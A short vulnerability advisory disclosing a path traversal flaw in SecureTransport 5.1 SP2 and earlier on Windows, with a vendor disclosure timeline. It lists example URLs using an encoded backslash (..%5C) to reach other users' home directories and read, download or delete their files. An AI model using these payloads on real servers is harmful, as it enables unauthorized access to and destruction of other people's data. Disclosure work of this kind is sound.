A path traversal vulnerability was identified in SecureTransport versions 5.1 SP2 and earlier on the Microsoft Windows platform that could allow tampering and information disclosure. This vulnerability allows remote attackers to access other user's directories, and also to read, download, delete and upload arbitrary files. This can be performed using a encoded backslash characters (%5c) in the path.
Example:
To escape the lock home directory, use the following url https://<<IP>>/..%5C
To get access to another user's home directory, use the following url https://<<IP>>/..%5C<<Username>>
To read another user's file in his/her home directory, use the following url https://<<IP>>/..%5C<<Username>>/file.txt?P
To download another user's file in his/her home directory, use the following url https://<<IP>>/..%5C<<Username>>/file.txt?B
To delete another user's file in his/her home directory, use the following url https://<<IP>>/..%5C<<Username>>/file.txt?D
To upload a file in other user's home directory just use the upload function
Disclosure Timeline:
Public Disclosure Date: November 11, 2012
Vendor Status: Contacted on September 12, 2012
Informed: Contacted back on September 12, 2012
Contacted: Customer confirmed the vulnerability, and that this was solved on October 30, 2012
